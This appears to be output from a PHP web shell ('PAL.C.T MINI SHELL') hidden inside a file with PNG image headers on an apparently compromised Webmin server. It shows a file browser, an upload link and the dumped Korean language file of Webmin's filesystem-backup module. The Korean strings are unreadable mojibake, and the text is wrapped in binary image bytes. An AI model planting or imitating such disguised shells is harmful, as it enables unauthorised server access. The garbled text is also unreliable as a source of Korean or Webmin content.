‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/fsdump/lang/
upload
files >> //usr/libexec/webmin/fsdump/lang/ko

index_title=íŒŒì¼ ì‹œìŠ¤í…œ 백업
index_add=새 백업 디렉토리 추가:
index_none=ìƒì„±ëœ íŒŒì¼ ì‹œìŠ¤í…œ 백업 ì„¤ì •ì´ ì—†ìŠµë‹ˆë‹¤.
index_none2=íŒŒì¼ ì‹œìŠ¤í…œ 백업 ì„¤ì •ì— ì ‘ê·¼í•  수 있는 ê²ƒì´ ì—†ìŠµë‹ˆë‹¤.
index_restore=íŒŒì¼ ì‹œìŠ¤í…œ 백업 복구 형ì‹
index_restoremsg=íŒŒì¼ ì‹œìŠ¤í…œ 형ì‹ì„ ì„ íƒí•˜ê³  íŒŒì¼ ì‹œìŠ¤í…œ ë°±ì—…ì„ ë³µêµ¬í•˜ê¸° 위한 ì„ íƒì„ 하기 위하여 ì´ ë²„íŠ¼ì„ í´ë¦­ 하십시오.
index_restore2=íŒŒì¼ ì‹œìŠ¤í…œ 백업 복구
index_restoremsg2=복구를 위하여 íŒŒì¼ ì‹œìŠ¤í…œ ë°±ì—…ì„ ì„ íƒí•˜ë ¤ë©´ ì´ ë²„íŠ¼ì„ í´ë¦­ 하십시오.
index_ecommands=ì´ ëª¨ë“ˆì—서 필요한 ($1ê³¼ ê°™ì€) íŒŒì¼ ì‹œìŠ¤í…œ 백업 ëª…ë ¹ì„ ì°¾ì„ ìˆ˜ 없습니다. 현재 설치ë˜ì–´ 있지 ì•Šì€ ê²ƒ 같습니다.
index_return=백업 리스트
index_running=ì‹¤í–‰ì¤‘ì¸ ë°±ì—… 작업
index_jobs=백업 스케쥴
index_start=시작
index_status=현재 ìƒíƒœ
index_status_running=실행중
index_status_tape=í…Œì´í”„ 장치 대기 중
index_action=실행
index_kill=중지
index_newtape=í…Œì´í”„ 로드
index_noact=가능한 ê²ƒì´ ì—†ìŠµë‹ˆë‹¤.
index_now=백업..
index_follow=$1 후
index_forcetar=TAR í˜•ì‹ ì‚¬ìš©
index_delete=ì„ íƒëœ 백업 ì‚­ì œ
index_nostrftime=경고 - ì–´ë–¤ 백업 ìž‘ì—…ì´ íŒŒì¼ ì´ë¦„으로 % 를 사용하지만, 모듈 설정 페ì´ì§€ì—서 strftime ì¹˜í™˜ì´ ì„¤ì •ë˜ì–´ 있지 않습니다.

dump_dir=백업할 디렉토리
dump_dirs=백업할 디렉토리
dump_fs=íŒŒì¼ ì‹œìŠ¤í…œ
dump_sched=ì¼ì •?
dump_when=ë‹¤ìŒ ì‹œê°„
dump_dest=백업
dump_file=íŒŒì¼ ë˜ëŠ” í…Œì´í”„ 장치
dump_host=유저 $2 권한으로 호스트 $1 ì˜ íŒŒì¼ ë˜ëŠ” 장치 $3
dump_level=ë¤í”„ ë¼ë²¨
dump_level_0=(전체 백업)
dump_label=백업 ë¼ë²¨
dump_multi=여러 파ì¼ë¡œ 분할하겠습니까?
dump_update=<tt>/etc/dumpdates</tt> 파ì¼ì„ 갱신하겠습니까?
dump_edir=백업 디렉토리가 없거나 유효하지 않습니다.
dump_efile=ë°±ì—…ì„ í•˜ê¸° 위한 파ì¼ì´ë‚˜ 디바ì´ìŠ¤ê°€ 없습니다.
dump_ehost=ë°±ì—…ì„ ìœ„í•œ 호스트가 없거나 유효하지 않습니다.
dump_ehuser=ë°±ì—…ì„ ìœ„í•œ í˜¸ìŠ¤íŠ¸ì˜ ìœ ì € ì´ë¦„ì´ ìœ íš¨í•˜ì§€ 않습니다.
dump_ehfile=í˜¸ìŠ¤íŠ¸ì— ë°±ì—…ì„ ìœ„í•œ 파ì¼ì´ë‚˜ 디바ì´ìŠ¤ê°€ 없거나 유효하지않습니다.
dump_elabel=유효하지 ì•Šì€ ë°±ì—… ë¼ë²¨ (15글ìžë¥¼ ë„˜ì„ ìˆ˜ 없습니다.)
dump_elabel2=유효하지 ì•Šì€ ë°±ì—… ë¼ë²¨ (255 글ìžë¥¼ ë„˜ì„ ìˆ˜ 없습니다.)
dump_eblocks=í…Œì´í”„ í¬ê¸°ê°€ 없거나 유효하지 않습니다.
dump_ebsize=ë¤í”„ 레코드 블럭 í¬ê¸°ê°€ 없거나 유효하지 않습니다.
dump_max=í¬í•¨í•  최대 íŒŒì¼ í¬ê¸°
dump_unlimited=제한 ì—†ìŒ
dump_attribs=íŒŒì¼ ì†ì„±ì„ í¬í•¨í•˜ê² ìŠµë‹ˆê¹Œ?
dump_over=í…Œì´í”„ ë®ì–´ì“°ê¸° ì „ì— ë¬¼ì–´ë³´ê² ìŠµë‹ˆê¹Œ?
dump_overwrite=í•­ìƒ ë°±ì—…ì„ ë®ì–´ì“°ê¸° 하겠습니까?
dump_invent=백업 목ë¡ì„ 기ë¡í•˜ê² ìŠµë‹ˆê¹Œ?
dump_emax=최대 íŒŒì¼ í¬ê¸°ê°€ 없거나 유효하지 않습니다.
dump_emp=ë°±ì—…ì„ ìœ„í•œ 디렉토리는 íŒŒì¼ ì‹œìŠ¤í…œì˜ ë§ˆìš´íŠ¸ í¬ì¸íŠ¸ì—¬ì•¼ 합니다.
dump_erase=백업 ì „ì— íŒŒì¼ì„ ì‚­ì œ 하거나 í…Œì´ë¸Œë¥¼ 비우겠습니까?
dump_verify=백업후 ë°ì´í„°ë¥¼ 확ì¸í•˜ê² ìŠµë‹ˆê¹Œ?
dump_offline=백업 후 í…Œì´í”„를 빼겠습니까?
dump_blocks=í…Œì´í”„ í¬ê¸°
dump_bsize=ë¤í”„ 레코드 블럭 í¬ê¸°
dump_auto=ìžë™ìœ¼ë¡œ 실행
dump_honour=í‘œì‹œëœ íŒŒì¼ì„ í•­ìƒ ì œì™¸í•˜ê² ìŠµë‹ˆê¹Œ?
dump_comp=ë°ì´í„° ì••ì¶•?
dump_complvl=예, 레벨:
dump_ecomp=ì••ì¶• ë ˆë²¨ì´ ì—†ê±°ë‚˜ 유효하지 않습니다.
dump_before=백업 ì „ì— ì‹¤í–‰í•  명령
dump_after=백업 í›„ì— ì‹¤í–‰í•  명령
dump_extra=추가 명령행 파ë¼ë¯¸í„°
dump_rsh=ì›ê²© 백업 명령
dump_rsh0=기본 (RSH)
dump_rsh1=SSH
dump_rsh3=FTP
dump_rsh2=다른 명령 ..
dump_pass=SSH 로그ì¸ì„ 위한 암호
dump_pass2=SSH/FTP 로그ì¸ì„ 위한 암호
dump_ersh=ì›ê²© 백업 ëª…ë ¹ì´ ì—†ê±°ë‚˜ 유효하지 않습니다.
dump_essh=ì‹œìŠ¤í…œì— <tt>ssh</tt> ëª…ë ¹ì´ ì„¤ì¹˜ë˜ê¸° 전까지는 ì›ê²© ë°±ì—…ì— SSH 를 사용할 수 없습니다.
dump_ecannot1=백업 ìƒì„± ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.
dump_ecannot2=ì´ ë°±ì—…ì„ íŽ¸ì§‘í•  수 없습니다.
dump_ecannot3=ì´ ë””ë ‰í† ë¦¬ë¥¼ 백업할 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.
dump_format=백업 형ì‹
dump_tar=유닉스 TAR
dump_dumpfs=$1 íŒŒì¼ ì‹œìŠ¤í…œ ë¤í”„
dump_gzip=ì•„ì¹´ì´ë¸Œë¥¼ 압축하겠습니까?
dump_gzip1=예, gzip 으로
dump_gzip2=예, bzip 으로
dump_bcomp=ë¸”ëŸ­ì•ˆì— ì••ì¶•ëœ ë°ì´í„° 버í¼ë¥¼ 사용하겠습니까?
dump_xdev=í•˜ë‚˜ì˜ íŒŒì¼ì‹œìŠ¤í…œìœ¼ë¡œ ë°±ì—…ì„ ì œí•œ 하겠습니까?
dump_notape=필요하다면 새 í…Œì´í”„ êµí™˜ì„ 물어보겠습니까?
dump_rmt=ì›ê²© 시스템ìƒì˜ <tt>rmt</tt> 경로
dump_links=심볼릭 ë§í¬ë¥¼ ë”°ë¼ ê°€ê² ìŠµë‹ˆê¹Œ?
dump_egzip=gzip ì••ì¶• ì˜µì…˜ì€ í…Œì´í”„ í¬ê¸° 옵션과 호환 ë˜ì§€ 않습니다.
dump_egzip2=gzip ì••ì¶• ì˜µì…˜ì€ ë‹¤ì¤‘ íŒŒì¼ ë°±ì—… 옵션과 호환 ë˜ì§€ 않습니다.
dump_emulti=다중-íŒŒì¼ ë°±ì—…ì€ í…Œì´í”„ 디바ì´ìŠ¤ì— í•  수 없습니다.
dump_emulti2=다중-íŒŒì¼ ë°±ì—…ì€ ì›ê²© ì„œë²„ì— í•  수 없습니다.
dump_ermt=<tt>rmt</tt> í”„ë¡œê·¸ëž¨ì˜ ê²½ë¡œê°€ 없거나 유효하지 않습니다.
dump_reverify=백업 í›„ì— ìœ íš¨ì„± 검사를 위하여 테스트 복구를 ì‹œë„ í•˜ê² ìŠµë‹ˆê¹Œ?
dump_remount=백업시 <tt>noatime</tt> 옵션으로 재 마운트 하겠습니까?

edit_err=백업 ìƒì„± 실패
edit_edir=백업 디렉토리가 없습니다.
edit_efs=ì´ ëª¨ë“ˆì—서 $1 형ì‹ì˜ 파ì¼ì‹œìŠ¤í…œì€ ë°±ì—…í•  수 없습니다.
edit_title=새 백업 추가
edit_title2=백업 편집
edit_header=$1 íŒŒì¼ ì‹œìŠ¤í…œ 백업 ìƒì„¸ì‚¬í•­
edit_header2=백업 스케쥴
edit_header3=백업 옵션
edit_enabled=백업 ì¼ì •ì„ ì‚¬ìš©í•˜ê² ìŠµë‹ˆê¹Œ?
edit_enabled_no=사용 안함
edit_enabled_yes=아래 ì„ íƒëœ ì‹œê°„ì— ì‚¬ìš©
edit_savenow=저장하고 백업 시작
edit_createnow=ìƒì„±í•˜ê³  백업 시작
edit_return=ë¤í”„
edit_email=ì¼ì • ì¶œë ¥ì„ ë©”ì¼ë¡œ 전달
edit_subject=ì´ë©”ì¼ ë©”ì‹œì§€ 제목
edit_restore=복구 ..
edit_to=$1 ì—서 $2 로
edit_tolevel=$1 ì—서 $2 로 (레벨 $3)
edit_special=백업 스케쥴

save_err=백업 저장 실패
save_edir=백업 디렉토리가 없거나 유효하지 않습니다.
save_efs=다른 íŒŒì¼ ì‹œìŠ¤í…œìœ¼ë¡œ 백업 디렉토리를 변경할 수 없습니다.

backup_title=백업 시작
backup_desc=백업 진행 $1 중 $2 ..
backup_reverify=.. 완료. ì´ì œ 백업 유효성 검사를 합니다 ..
backup_beforefailed=.. 백업 전 명령 실패
backup_afterfailed=.. 백업 후 명령 실패
backup_done=.. 백업 완료
backup_failed=.. 백업 실패!
backup_noverify=.. 유효성 검사 실패!
backup_notape=.. ë°±ì—…ì´ í•˜ë‚˜ì˜ í…Œì´í”„ ì‚¬ìš©ëŸ‰ì„ ì´ˆê³¼í–ˆìŠµë‹ˆë‹¤. í…Œì´í”„ êµí™˜ì€ ë°±ì—…ì´ ë°±ê·¸ë¼ìš´ë“œ 진행으로 실행시ì—ë§Œ ì§€ì›ì´ ë©ë‹ˆë‹¤.
backup_egone=ë°±ì—…ì´ ì¡´ìž¬í•˜ì§€ 않습니다!
backup_bg=백그ë¼ìš´ë“œ 작업으로 백업 ì§„í–‰ì´ ì‹œìž‘ë˜ì—ˆìŠµë‹ˆë‹¤. 모듈 ë©”ì¸ íŽ˜ì´ì§€ì˜ <b>백업 작업 실행</b> 섹션ì—서 ì´ ìž‘ì—…ì„ ëª¨ë‹ˆí„° í•  수 있으며, 최종 ìƒíƒœë¥¼ ì´ë©”ì¼ë¡œ 공지 ë°›ì„ ìˆ˜ 있습니다.
backup_ecannot=ì´ ë””ë ‰í† ë¦¬ëŠ” ë°±ì—…ì„ í—ˆë½í•˜ì§€ 않습니다.

restore_title=백업 복구
restore_err=백업 복구 실패
restore_ecommand=$2 íŒŒì¼ ì‹œìŠ¤í…œ ë°±ì—…ì„ ë³µêµ¬í•˜ê¸° 위해 필요한 $1 ëª…ë ¹ì„ ì‹œìŠ¤í…œì—서 ì°¾ì„ ìˆ˜ 없습니다. 아마 현재 설치 ë˜ì–´ 있지 ì•Šì€ ê²ƒìœ¼ë¡œ ì¶”ì¸¡ì´ ë©ë‹ˆë‹¤.
restore_theader=유닉스 TAR 파ì¼ì—서 백업 복구
restore_header=$1 íŒŒì¼ ì‹œìŠ¤í…œ 백업 복구
restore_src=íŒŒì¼ ë˜ëŠ” 디바ì´ìФì—서 복구
restore_dir=복구할 디렉토리
restore_ok=백업 복구 시작
restore_over=ë™ì¼í•œ 파ì¼ì´ 존재하면 ë®ì–´ 씌우겠습니까?
restore_over0=í•­ìƒ
restore_over2=안함
restore_noattribs=íŒŒì¼ ì†ì„±ì„ 복구하겠습니까?
restore_label=ë¼ë²¨ì„ 가진 백업만 복구
restore_files=복구할 파ì¼
restore_all=ë°±ì—…íŒŒì¼ ëª¨ë‘
restore_sel=íŒŒì¼ ë¦¬ìŠ¤íŠ¸ ..
restore_multi=ë°±ì—…ì´ ì—¬ëŸ¬ 파ì¼ë¡œ ë¶„í•  ë˜ì–´ 있습니까?
restore_now=$1 명령으로 ë°±ì—…ì„ ë³µêµ¬
restore_desc=ì´ íŽ˜ì´ì§€ëŠ” ì´ì „ 파ì¼ì‹œìŠ¤í…œ ë°±ì—…ì„ ë³µêµ¬í•  수 있습니다. ë³µêµ¬ì‹œì— ë°±ì—… í›„ì— ë³€ê²½ëœ íŒŒì¼ì´ ì´ì „으로 ë³µêµ¬ë  ìˆ˜ 있으니 ì£¼ì˜ í•˜ì‹­ì‹œì˜¤!
restore_efiles=복구할 파ì¼ì´ 없습니다.
restore_evolume=다중 볼륨 복구는 ì§€ì›í•˜ì§€ 않습니다.
restore_edir=복구할 디렉토리가 없거나 유효하지 않습니다.
restore_failed=복구 실패: $1
restore_failed2=복구 실패! ìƒë‹¨ì˜ ì¶œë ¥ë¬¼ì„ í™•ì¸ í•˜ì„¸ìš”.
restore_complete=복구가 완료 ë˜ì—ˆìŠµë‹ˆë‹¤.
restore_test=백업ì—서 파ì¼ë§Œ 보겠습니까?
restore_nothing=테스트로 ë°±ì—…ì„ í•˜ì‹œê² ìŠµë‹ˆê¹Œ?
restore_extra=추가 명령행 옵션
restore_rsh=ì›ê²© 복구 명령
restore_ersh=ì›ê²© 복구 ëª…ë ¹ì´ ì—†ê±°ë‚˜ 유효하지 않습니다.
restore_essh=ì‹œìŠ¤í…œì— <tt>ssh</tt> ëª…ë ¹ì´ ì„¤ì¹˜ë˜ê¸° 전까지는 ì›ê²© ë³µêµ¬ì— SSH 를 사용할 수 없습니다.
restore_ecannot=백업 복구 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.
restore_perms=íŒŒì¼ ê¶Œí•œì„ ë³µêµ¬í•˜ê² ìŠµë‹ˆê¹Œ?
restore_gzip=아파ì´ë¸Œì˜ ì••ì¶•ì„ í•´ì œí•˜ê² ìŠµë‹ˆê¹Œ?
restore_keep=파ì¼ì„ ë®ì–´ 씌우지 않겠습니까?
restore_emulti=í…Œì´í”„ 장치로 부터 ë¶„í• ëœ íŒŒì¼ë¡œ 복구할 수 없습니다.
restore_emulti2=ì›ê²© 서버로 부터 ë¶„í• ëœ íŒŒì¼ ë³µêµ¬ë¥¼ í•  수 없습니다.

log_create=$1ì— ëŒ€í•œ 백업 설정 ìƒì„±
log_modify=$1ì— ëŒ€í•œ 백업 설정 변경
log_delete=$1ì— ëŒ€í•œ 백업 설정 ì‚­ì œ
log_backup=$1ì„ $2로 백업
log_bgbackup=$1ì„ $2로 백업 시작
log_restore=$1 ì—서 백업 복구

kill_err=백업 중지 실패
kill_egone=ë”ì´ìƒ 실행중ì´ì§€ 않습니다.
kill_ecannot=ì´ ë°±ì—…ì„ ì¤‘ì§€í•  ê¶Œí•œì´ ì—‡ìŠµë‹ˆë‹¤.

newtape_err=새로운 í…Œì´í”„ 신호가 실패했습니다.
newtape_egone=ë°±ì—…ì€ ë”ì´ìƒ 실행중ì´ì§€ 않습니다!
newtape_estatus=ë°±ì—…ì€ ë”ì´ìƒ 새로운 í…Œì´í”„ 장치를 위해 대기하지 않습니다.
newtape_ecannot=ì´ ë°±ì—…ì„ ê´€ë¦¬í•  ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.

acl_edit=ë°±ì—…ì„ ìƒì„±í•˜ê³  편집하겠습니까?
acl_restore=ë°±ì—…ì„ ë³µêµ¬í•˜ê² ìŠµë‹ˆê¹Œ?
acl_cmds=명령 실행전ì´ë‚˜ í›„ì— íŽ¸ì§‘í•˜ê² ìŠµë‹ˆê¹Œ?
acl_extra=추가 명령행 파ë¼ë¯¸í„°ë¥¼ 편집하겠습니까?
acl_dirs=ë°±ì—…ì„ í—ˆë½í•  디렉토리
acl_all=모든 디렉토리
acl_list=ë¦¬ìŠ¤íŒ…ëœ ê²ƒë§Œ ..

delete_err=백업 삭제 실패
delete_enone=ì„ íƒëœ ê²ƒì´ ì—†ìŠµë‹ˆë‹¤.

email_already=ë°±ì—…ì´ PID $1 로 ì´ë¯¸ ì§„í–‰ 중입니다.
email_ebefore=백업전 명령 실패
email_verify=백업 í™•ì¸ ..
email_eafter=백업후 명령 실패
email_subject=$2 ì˜ $1 백업
email_ok=백업 성공
email_failed=백업 실패

newtape_subject=$3 ì˜ $2 ë°±ì—…ì„ ìœ„í•´ $1 í…Œì´í”„ 장치를 고체합니다.
newtape_body=$3ì˜ $2 백업 작업 중 í…Œì´í”„ì˜ ìš©ëŸ‰ì´ ê½‰ 찼습니다. 새로운 í…Œì´í”„ 장치로 êµì²´í•œ í›„ì— ë°±ì—…ì„ ê³„ì† ì§„í–‰í•˜ê¸° 위하여 ì›¹ë¯¼ì˜ íŒŒì¼ì‹œìŠ¤í…œ 백업 모듈ì—서 'í…Œì´í”„ 로드' ë§í¬ë¥¼ í´ë¦­ 하십시오.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚